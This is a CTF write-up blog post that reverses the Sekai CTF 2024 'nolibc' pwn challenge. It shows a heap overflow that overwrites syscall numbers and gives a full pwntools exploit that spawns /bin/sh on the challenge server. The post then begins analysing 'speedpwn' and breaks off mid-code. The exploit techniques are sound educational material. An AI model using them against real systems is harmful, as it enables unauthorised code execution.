Sekai CTF 2024
author
samuzora
27 Aug 2024
47 min read
Contents

Right after my 1st week of prelims was Project Sekai CTF - how could I miss this event?

I played with slight_smile and got 11th place, way higher than I expected given the overall difficulty of the challenges. We were just slightly below 10th place (in fact, near the end we kept swapping positions with Black Bauhinia because of dynamic scoring)

Scoreboard

All the pwns were really cool and I had a lot of fun solving them. These are my writeups for pwn/nolibc, pwn/speedpwn, and pwn/life-sim-2 (unfortunately windows kernel and v8 0-day are just slightly out of my skill level)

nolibc

No libc means no vulnerability right?!

Author: Marc
Solves: 56

The challenge binary was statically linked with a custom malloc/free implementation. No source was provided, so we gotta do a bit of reversing :(

Reversing

We first need to register and login to the challenge.

register

We can create a user with a username and password. Upon creation, a large chunk in the heap is allocated for the user’s data, and a pointer to this is stored in the global array. state[4] stores the number of created strings.

__int64 register()
{
    int *state; // [rsp+8h] [rbp-18h]
    int *password; // [rsp+10h] [rbp-10h]
    int *username; // [rsp+18h] [rbp-8h]
 
    if ( registered > 0 )
        return puts("You can only register one account!");
    print_str("Username: ");
    username = malloc(0x20);
    if ( username ) {
        read_str((char *)username, 0x20);
        if ( (unsigned int)strlen((__int64)username) ) {
            print_str("Password: ");
            password = malloc(0x20);
            if ( password ) {
                read_str((char *)password, 0x20);
                if ( (unsigned int)strlen((__int64)password) ) {
                    state = malloc(0x4010);               // register the user in the heap
                    *(_QWORD *)state = username;
                    *((_QWORD *)state + 1) = password;
                    state[4] = 0;
                    global_array[registered++] = state;   // global_array[0] = state
                    return puts("User registered successfully!");
                } else {
                    puts("Invalid password");
                    free((unsigned __int64)password);
                    return register();
                }
            } else {
                puts("Invalid password");
                free(0LL);
                return register();
            }
        } else {
            puts("Invalid username");
            free((unsigned __int64)username);
            return register();
        }
    } else {
        puts("Invalid username");
        free(0LL);
        return register();
    }
}

Then after logging in, the user can interact with the following functions:

puts((__int64)"1. Add string");
puts((__int64)"2. Delete string");
puts((__int64)"3. View strings");
puts((__int64)"4. Save to File");
puts((__int64)"5. Load from File");
puts((__int64)"6. Logout");
print_str("Choose an option: ");

create_string

We can create a string with a certain length between 0x0 and 0x100. The string is created with malloc(size + 1), and we can write size + 1 bytes to it. Note that the malloc implementation is custom which we’ll look at later.

After the string is created, a pointer to it is appended to the user’s data, and the string count is incremented.

__int64 create_string()
{
    int *new_string; // [rsp+0h] [rbp-10h]
    int length; // [rsp+Ch] [rbp-4h]
 
    if ( *(int *)(global_array[user] + 16LL) > 0x7FE )
        return puts((__int64)"You have reached the maximum number of strings");
    print_str("Enter string length: ");
    length = read_int();
    if ( length > 0 && length <= 0x100 ) {
        print_str("Enter a string: ");
        new_string = malloc(length + 1);
        if ( !new_string ) {
            puts((__int64)"Failed to allocate memory");
            puts((__int64)&byte_3124);
            exit();
        }
        read_str((__int64)new_string, length + 1);
        *(_QWORD *)(global_array[user] + 8 * ((int)(*(_DWORD *)(global_array[user] + 16LL))++ + 2LL) + 8) = new_string;
        return puts((__int64)"String added successfully!");
    } else {
        puts((__int64)"Invalid length");
        return puts((__int64)&byte_3124);
    }
}

delete_string

Similarly, we can delete a string at a given index. After the string is freed, any pointers after the deleted string are shifted back by 1, and the string count is decremented.

__int64 delete_string()
{
  int v1; // [rsp+8h] [rbp-8h]
  int i; // [rsp+Ch] [rbp-4h]
 
  if ( *(_DWORD *)(global_array[user] + 16LL) ) {
    print_str("Enter the index of the string to delete: ");
    v1 = read_int();
    if ( v1 >= 0 && v1 < *(_DWORD *)(global_array[user] + 16LL) ) {
      free(*(_QWORD *)(global_array[user] + 8 * (v1 + 2LL) + 8));
      for ( i = v1; i < *(_DWORD *)(global_array[user] + 16LL) - 1; ++i )// shift strings after back
        *(_QWORD *)(global_array[user] + 8 * (i + 2LL) + 8) = *(_QWORD *)(global_array[user] + 8 * (i + 1 + 2LL) + 8);
      --*(_DWORD *)(global_array[user] + 16LL);
      return puts("String deleted successfully!");
    } else {
      puts("Invalid index");
      return puts(&byte_3124);
    }
  } else {
    puts("No strings to delete");
    return puts(&byte_3124);
  }
}

view_string

This will print all strings in the user’s data. Nothing much of interest here.

__int64 view_string()
{
  __int64 result; // rax
  int i; // [rsp+Ch] [rbp-4h]
 
  if ( *(_DWORD *)(global_array[user] + 16LL) ) {
    for ( i = 0; ; ++i ) {
      result = *(unsigned int *)(global_array[user] + 16LL);
      if ( i >= (int)result )
        break;
      print_str("String ");
      print_num((unsigned int)i);
      print_str(": ");
      puts(*(_QWORD *)(global_array[user] + 8 * (i + 2LL) + 8));
    }
  } else {
    puts("No strings to view");
    return puts(&byte_3124);
  }
  return result;
}

save_strings_to_file

Each string is saved as a line in a user-specified file.

int *save_strings_to_file()
{
    int v1; // [rsp+8h] [rbp-28h]
    int *file_contents; // [rsp+10h] [rbp-20h]
    int *filename; // [rsp+18h] [rbp-18h]
    int j; // [rsp+24h] [rbp-Ch]
    int i; // [rsp+28h] [rbp-8h]
    int size; // [rsp+2Ch] [rbp-4h]
 
    print_str("Enter the filename: ");
    filename = malloc(0x20);
    if ( filename
        && (read_str((char *)filename, 0x20), (unsigned int)strlen((__int64)filename))
        && !(unsigned int)strstr((__int64)filename, (__int64)"flag") )
    {
        file_contents = malloc(0x7FFF);
        if ( !file_contents ) {
            puts("Failed to allocate memory");
            puts((char *)&byte_3124);
            exit();
        }
        size = 0;
        for ( i = 0; i < *(_DWORD *)(global_array[user] + 16LL); ++i ) {
            v1 = strlen(*(_QWORD *)(global_array[user] + 8 * (i + 2LL) + 8));
            for ( j = 0; j < v1; ++j )
                *((_BYTE *)file_contents + size++) = *(_BYTE *)(*(_QWORD *)(global_array[user] + 8 * (i + 2LL) + 8) + j);
            *((_BYTE *)file_contents + size++) = '\n';
        }
        if ( (int)write_to_file((char *)filename, (char *)file_contents, size) >= 0 ) {
            puts("Strings saved to file successfully!");
            return free((unsigned __int64)file_contents);
        } else {
            puts("Failed to write file");
            return (int *)puts((char *)&byte_3124);
        }
    } else {
        puts("Invalid filename");
        return (int *)puts((char *)&byte_3124);
    }
}

load_strings_from_file

Lines are read from a user-specified file and appended to the user’s existing list of strings.

int *load_strings_from_file()
{
    int *string; // [rsp+0h] [rbp-30h]
    int file; // [rsp+Ch] [rbp-24h]
    int *file_contents; // [rsp+10h] [rbp-20h]
    int *filename; // [rsp+18h] [rbp-18h]
    int i; // [rsp+20h] [rbp-10h]
    int size; // [rsp+24h] [rbp-Ch]
    int v7; // [rsp+28h] [rbp-8h]
    int v8; // [rsp+2Ch] [rbp-4h]
 
    print_str("Enter the filename: ");
    filename = malloc(32);
    if ( filename
        && (read_str((__int64)filename, 32), (unsigned int)strlen((__int64)filename))
        && !(unsigned int)strstr((__int64)filename, (__int64)"flag") )
    {
        file_contents = malloc(0x7FFF);
        if ( !file_contents ) {
            puts((__int64)"Failed to allocate memory");
            puts((__int64)&byte_3124);
            exit();
        }
        file = open_and_read_file((char *)filename, (char *)file_contents, 0x7FFF);
        if ( file >= 0 ) {
            v8 = 0;
            v7 = 0;
            while ( v8 < file ) {
                size = 0;
                while ( *((_BYTE *)file_contents + v8) != '\n' ) {
                    ++size;
                    ++v8;
                }
                string = malloc(size + 1);
                if ( !string ) {
                    puts((__int64)"Failed to allocate memory");
                    puts((__int64)&byte_3124);
                    exit();
                }
                for ( i = 0; i < size; ++i )
                    *((_BYTE *)string + i) = *((_BYTE *)file_contents + v7++);
                *((_BYTE *)string + size) = 0;
                *(_QWORD *)(global_array[user] + 8 * ((int)(*(_DWORD *)(global_array[user] + 16LL))++ + 2LL) + 8) = string;
                ++v8;
                ++v7;
            }
            puts((__int64)"Strings loaded from file successfully!");
            return free((unsigned __int64)file_contents);
        } else {
            puts((__int64)"Failed to read file");
            return (int *)puts((__int64)&byte_3124);
        }
    } else {
        puts((__int64)"Invalid filename");
        return (int *)puts((__int64)&byte_3124);
    }
}

My first thought was to use save_strings_to_file to overflow the heap (since there’s no actual check on the total length of the chunk data being copied into the 0x7fff size chunk). Let’s first analyze the malloc and free implementations.

malloc

int *__fastcall malloc(int size)
{
    char *last_remainder; // [rsp+4h] [rbp-20h]
    signed int asize; // [rsp+10h] [rbp-14h]
    signed int *next_victim; // [rsp+14h] [rbp-10h]
    signed int *cur_victim; // [rsp+1Ch] [rbp-8h]
 
    if ( !size )
        return 0LL;
    asize = (size + 15) & 0xFFFFFFF0;
    cur_victim = (signed int *)smallest_freed_chunk;
    next_victim = 0LL;
    while ( 1 )
    {
        if ( !cur_victim )
            return 0LL;
        if ( asize <= *cur_victim )
            break;
        next_victim = cur_victim;
        cur_victim = (signed int *)*((_QWORD *)cur_victim + 1);
    }
    if ( *cur_victim >= (unsigned __int64)(asize + 16LL) )// split into last remainder
    {
        last_remainder = (char *)cur_victim + asize + 16;
        *(_DWORD *)last_remainder = *cur_victim - asize - 16;
        *((_QWORD *)last_remainder + 1) = *((_QWORD *)cur_victim + 1);
        *((_QWORD *)cur_victim + 1) = last_remainder;
        *cur_victim = asize;
    }
    if ( next_victim )
        *((_QWORD *)next_victim + 1) = *((_QWORD *)cur_victim + 1);
    else
        smallest_freed_chunk = *((_QWORD *)cur_victim + 1);
    return cur_victim + 4;
}

This malloc is quite a simple implementation that only has 1 freed list, sorted by increasing size. This is the shape of a chunk allocated with malloc:

size                    ptr to next chunk
0x0000000000000020      0x000055555555d080
subsequent data
0x0000000000000000      0x0000000000000000
0x0000000000000000      0x0000000000000000

(size doesn’t include the header size btw)

The program stores a pointer to the smallest freed chunk as the list head, and cycles through the list until a chunk with size greater than or equal to requested size is found, eventually reaching the forest chunk. If even the forest chunk is too small to service the request, malloc will return 0.

Then, if the victim chunk is large enough to be split, it will be split into the last remainder.

free

free is slightly more complicated, and since the source is kinda long I won’t include the decomp here. Basically, what it does is it again cycles through the freed list, looking for a place to insert the freed chunk into. Once inserted, it also updates the smallest_freed_chunk global pointer if needed. Finally, it calls another function which merges adjacent free chunks, and updates the size of forest_chunk to make sure &forest_chunk + forest_chunk->size always points to the end of the heap.


A very important thing that I missed at first, is that forest_chunk is initialized as the start of the writable segment in memory, and its size is set to +0x10000 from the start of this segment, pointing to the end of heap. Right after it are all our other global values:

pwndbg> x/10gx 0x555555559000+0x10000
0x555555569000: 0x0000000100000000      0x0000000300000002
0x555555569010: 0xffffffff0000003c      0x0000000000000000
0x555555569020: 0x0000000000000000      0x0000000000000000
0x555555569030: 0x0000000000000000      0x0000000000000000
0x555555569040: 0x0000000000000000      0x0000000000000000

So if forest chunk were to overflow, we can start overwriting all these values!


Exploit

/dev/stdin method

Earlier, we saw that size of a chunk doesn’t include its header size. But if the size of forest_chunk was initialized to be end_of_heap - start_of_heap (0x10000), and this doesn’t include the header size, then… won’t this lead to a 0x10 overflow?

Looking at the load_strings_from_file function, it allocates a chunk of size 0x20 for the filename, and another of size (0x7fff + 1) & 0xfffffff0 = 0x8000 for the file to be read into. Then, it starts to malloc more chunks for the strings read from the file. After registering a user, our forest_chunk is of size 0xbf80.

pwndbg> tel 0x555555554000+0x15070
00:0000│  0x555555569070 —▸ 0x55555555d080 ◂— 0xbf80
01:0008│  0x555555569078 ◂— 0
... ↓     6 skipped

So, the amount we need to allocate to just fill up the heap is 0xbf80 - 0x8000 0x10 - 0x20 - 0x10 = 0x3f40. Since we can allocate up to 0x7ff chunks of maximum size 0x100 + 0x10, we could definitely do this manually using create_string. Or we can save ourselves a lot of time by just setting the file we read from to be /dev/stdin, and feed in the values we want!

p.sendlineafter(b"Choose an option", b"2")
p.sendlineafter(b"Username:", b"samuzora")
p.sendlineafter(b"Password:", b"password")
p.sendlineafter(b"Choose an option", b"1")
p.sendlineafter(b"Username:", b"samuzora")
p.sendlineafter(b"Password:", b"password")
 
p.sendlineafter(b"Choose an option", b"5")
p.sendlineafter(b"filename:", b"/dev/stdin")
 
payload = b"a" * 0x3f40
payload = payload[:-1]
p.sendline(payload)

Before:

pwndbg> x/32gx 0x555555554000+0x15000
0x555555569000: 0x0000000100000000      0x0000000300000002
0x555555569010: 0xffffffff0000003c      0x0000000000000000
0x555555569020: 0x0000000000000000      0x0000000000000000
0x555555569030: 0x0000000000000000      0x0000000000000000

After:

pwndbg> x/32gx 0x555555554000+0x15000
0x555555569000: 0x6161616161616161      0x0061616161616161
0x555555569010: 0x000000000000003c      0x0000000000000001
0x555555569020: 0x0000555555559070      0x0000000000000000
0x555555569030: 0x0000000000000000      0x0000000000000000

As we can see, we successfully overflowed into the global values, specifically the section:

0x0000000100000000      0x0000000300000002

What do these numbers correspond to? Taking a look in IDA:

.data:0000000000015000 read_syscall    dd 0                    ; DATA XREF: free+28↑o
.data:0000000000015000                                         ; read_str+18↑r ...
.data:0000000000015004 write_syscall   dd 1                    ; DATA XREF: print_str+E↑r
.data:0000000000015004                                         ; puts+1F↑r ...
.data:0000000000015008 open_syscall    dd 2                    ; DATA XREF: open_and_read_file+23↑r
.data:0000000000015008                                         ; write_to_file+23↑r
.data:000000000001500C close_syscall   dd 3                    ; DATA XREF: open_and_read_file+C1↑r
.data:000000000001500C                                         ; write_to_file+C1↑r
.data:0000000000015010 exit_syscall    dd 3Ch                  ; DATA XREF: exit+4↑r
.data:0000000000015014 user            dd 0FFFFFFFFh           ; DATA XREF: login+1C1↑w
.data:0000000000015014                                         ; login+1D6↑r ...
.data:0000000000015018 registered      dd 0                    ; DATA XREF: login:loc_1C46↑r
.data:0000000000015018                                         ; login:loc_1CD7↑r ...
.data:000000000001501C                 align 20h
.data:0000000000015020 ; _QWORD global_array[10]
.data:0000000000015020 global_array    dq 0Ah dup(0)           ; DATA XREF: login+16E↑o
.data:0000000000015020                                         ; login+19C↑o ...
.data:0000000000015020 _data           ends

If we look at the xrefs for each of the numbers, they are passed into rax before certain syscalls are made. For example, looking at +0x15008, it’s referred to in the open_and_read_file function:

mov     [rbp+filename], rdi
mov     [rbp+buf], rsi
mov     [rbp+size], edx
mov     rax, [rbp+filename]
mov     edx, cs:open_syscall
movsxd  rdx, edx
mov     [rbp+syscall], rdx
mov     [rbp+filename_too], rax
mov     [rbp+var_20], 0
mov     [rbp+var_28], 0
mov     rax, [rbp+syscall]
mov     rdi, [rbp+filename_too]
mov     rsi, [rbp+var_20]
mov     rdx, [rbp+var_28]
syscall                 ; LINUX -

This is perfect for getting a shell - we can just overwrite the value with the execve syscall number, and call load_strings_from_file with /bin/sh.

p.sendlineafter(b"Choose an option", b"5")
p.sendlineafter(b"filename:", b"/dev/stdin")
 
payload = b"a" * 0x3f30
payload += p32(0x0)
payload += p32(0x1)
payload += p32(0x3b)
p.sendline(payload)
 
p.sendlineafter(b"Choose an option", b"5")
p.sendline(b"/bin/sh")

Unfortunately, this solution only works on local. On remote, the binary can’t access /dev/stdin or any of the other alternatives (I tried /proc/self/fd/0, /dev/tty etc), so we can’t read in the overflow directly like that :(

I probably overthought this solution anyway…


create_string method

The other alternative is to simply use create_string to overflow the heap directly. After registering, the size of forest_chunk is still 0xbf80. From create_string, we can fill up the heap with 0xbf * 0x100 chunks. The last chunk left, 0x80, will be used to overflow.

Note that we need to make a bit of space for the malloc(0x20) call when reading in the filename, if not the program will crash.

for i in range(0xbf):
    print(i)
    create_string(0xef, b"asdf")
 
payload = b"a"*0x70
payload += p32(0x0)
payload += p32(0x1)
payload += p32(0x3b)
payload += p32(0x3)
create_string(0x7f, payload)
 
# make space
delete_string(0)
 
p.sendlineafter(b"Choose an option", b"5")
p.sendline(b"/bin/sh")

When running my exploit on remote, I realized how slow it was:

A taste of things to come

Nevertheless, after about 2 minutes we get our flag! Our final exploit:

#!/usr/bin/env python3
 
from pwn import *
 
exe = ELF("./main")
 
context.binary = exe
 
if args.LOCAL:
    p = process([exe.path])
    if args.GDB:
        gdb.attach(p)
        pause()
else:
    p = remote("nolibc.chals.sekai.team", 1337, ssl=True)
 
def create_string(size: int, data: bytes):
    p.sendlineafter(b"Choose an option", b"1")
    p.sendlineafter(b"Enter string length:", str(size).encode())
    p.sendlineafter(b"string:", data)
 
def delete_string(idx: int):
    p.sendlineafter(b"Choose an option", b"2")
    p.sendlineafter(b"string to delete:", str(idx).encode())
 
# good luck pwning :)
 
p.sendlineafter(b"Choose an option", b"2")
p.sendlineafter(b"Username:", b"samuzora")
p.sendlineafter(b"Password:", b"password")
p.sendlineafter(b"Choose an option", b"1")
p.sendlineafter(b"Username:", b"samuzora")
p.sendlineafter(b"Password:", b"password")
 
for i in range(0xbf):
    print(i)
    create_string(0xef, b"asdf")
 
payload = b"a"*0x70
payload += p32(0x0)
payload += p32(0x1)
payload += p32(0x3b)
payload += p32(0x3)
create_string(0x7f, payload)
 
delete_string(0)
 
p.sendlineafter(b"Choose an option", b"5")
p.sendline(b"/bin/sh")
 
p.interactive()
# SEKAI{shitty_heap_makes_a_shitty_security}

speedpwn

Beat the bot and get the flag! First solver gets a $77.77 bounty :)

Author: Zafirr
Solves: 27

This challenge was released on the second day at 12:00am SGT, and there was a bounty for first blood! I woke up at 12:01am to take a look, found the overflow at 12:04am, and realized that I had no idea how to turn it into arb write. At 12:06am, I decided there was no way I would solve it in time LOL. After that I went back to life-sim-2. The Flat Network Society blooded the challenge at 1:45am - no chance I could have gotten it.

After solving life-sim-2 I took another look at this challenge.

Analysis

Source was given for this challenge.

We can play some kind of number comparison game with the bot in the program. This is the function that does the comparison:

int cmp(unsigned long long a, unsigned long long b) {
    if (__builtin_popcountll(a) != __builtin_popcountll(b)) {
        return __builtin_popcountll(a) > __builtin_popcountll(b) ? 1 : 0;
    }
    for(size_t i = 0; i < 64; i++) {
        if ((a & 1) != (b & 1)) {
            return a & 1;
        }
        a >>= 1;
        b >>= 1;
    }
    return 0;
}

__builtin_popcountll counts the number of set bits in a number.

Basically, it first compares the number of set bits in both numbers, then cycles through each bit of both numbers, starting from the least significant bit, and compares them, returning the value of the first bit (of the first number) that is different.

The challenge allows us to do the following:

void print_menu() {
    puts("f) Fight bot");
    puts("s) Simulate game");
    puts("p) Print game history");
    puts("r) Reseed bot");
    printf("> ");
}
void fight_bot() {
 
    unsigned long long bot_num, player_num;
    bot_num = get_random_ull();
    printf("Bot plays %llu!\nPlayer plays: ", bot_num);
    scanf("%llu%*c", &player_num);
 
    if(cmp(player_num, bot_num)) {
        puts("You win!");
        *((unsigned long long*)&game_history + (number_of_games / 64)) |= ((unsigned long long)1 << (number_of_games % 64));